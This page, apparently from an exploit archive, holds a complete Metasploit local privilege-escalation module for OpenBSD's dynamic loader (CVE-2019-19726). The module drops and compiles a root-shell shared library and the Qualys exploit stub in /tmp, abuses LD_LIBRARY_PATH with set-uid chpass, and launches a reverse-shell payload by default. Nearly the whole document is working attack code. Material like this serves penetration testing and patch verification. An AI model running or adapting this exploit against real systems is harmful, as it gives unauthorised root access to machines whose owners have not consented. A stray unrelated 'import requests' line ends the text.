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"OpenBSD - Dynamic Loader chpass Privilege Escalation (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

openbsd

Release date

Exploit published date

2019-12-30

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in the OpenBSD `ld.so`
        dynamic loader (CVE-2019-19726).

        The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
        environment variable when set with approximately `ARG_MAX` colons.

        This can be abused to load `libutil.so` from an untrusted path,
        using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
        executable, resulting in privileged code execution.

        This module has been tested successfully on:

        OpenBSD 6.1 (amd64); and
        OpenBSD 6.6 (amd64)
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys', # Discovery and exploit
          'bcoles'  # Metasploit
        ],
      'DisclosureDate' => '2019-12-11',
      'Platform'       => %w[bsd unix], # OpenBSD
      'Arch'           => [ARCH_CMD],
      'SessionTypes'   => ['shell'],
      'References'     =>
        [
          ['CVE', '2019-19726'],
          ['EDB', '47780'],
          ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
          ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
          ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
          ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
        ],
      'Targets'        => [['Automatic', {}]],
      'DefaultOptions' =>
        {
          'PAYLOAD'    => 'cmd/unix/reverse',
          'WfsDelay'   => 10
        },
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def chpass_path
    datastore['CHPASS_PATH']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def is_root?
    (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
  end

  def libutil_name
    return unless command_exists? 'readelf'
    cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first
  end

  def check
    patches = cmd_exec('syspatch -l').to_s
    patch = '013_ldso'
    if patches.include? patch
      vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
      return CheckCode::Safe
    end
    vprint_good "Patch #{patch} is not present"

    unless command_exists? 'cc'
      vprint_error 'cc is not installed'
      return CheckCode::Safe
    end
    print_good 'cc is installed'

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
    lib_data = <<-EOF
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    if (setuid(0) != 0) _exit(__LINE__);
    if (setgid(0) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

    libs = []
    lib = libutil_name
    if lib
      libs << lib
      print_good "Found libutil.so name: #{lib}"
    else
      libs << 'libutil.so.12.1'
      libs << 'libutil.so.13.1'
      print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
    end

    lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
    upload lib_src_path, lib_data
    libs.each do |lib_name|
      lib_path = "#{base_dir}/#{lib_name}"
      print_status "Compiling #{lib_path} ..."
      output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
      register_file_for_cleanup lib_path

      unless output.blank?
        print_error output
        fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
      end
    end

    # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
    exploit_data = <<-EOF
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int
main(int argc, char * const * argv)
{
    #define LLP "LD_LIBRARY_PATH=."
    static char llp[ARG_MAX - 128];
    memset(llp, ':', sizeof(llp)-1);
    memcpy(llp, LLP, sizeof(LLP)-1);
    char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

    #define DATA (ARG_MAX * sizeof(char *))
    const struct rlimit data = { DATA, DATA };
    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

    if (argc <= 1) _exit(__LINE__);
    argv += 1;
    execve(argv[0], argv, envp);
    _exit(__LINE__);
}
EOF

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload "#{exploit_path}.c", exploit_data
    print_status "Compiling #{exploit_path} ..."
    output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
    register_file_for_cleanup exploit_path

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
    chmod payload_path

    print_status 'Launching exploit...'
    output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
    output.each_line { |line| vprint_status line.chomp }
  end
end
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import requests
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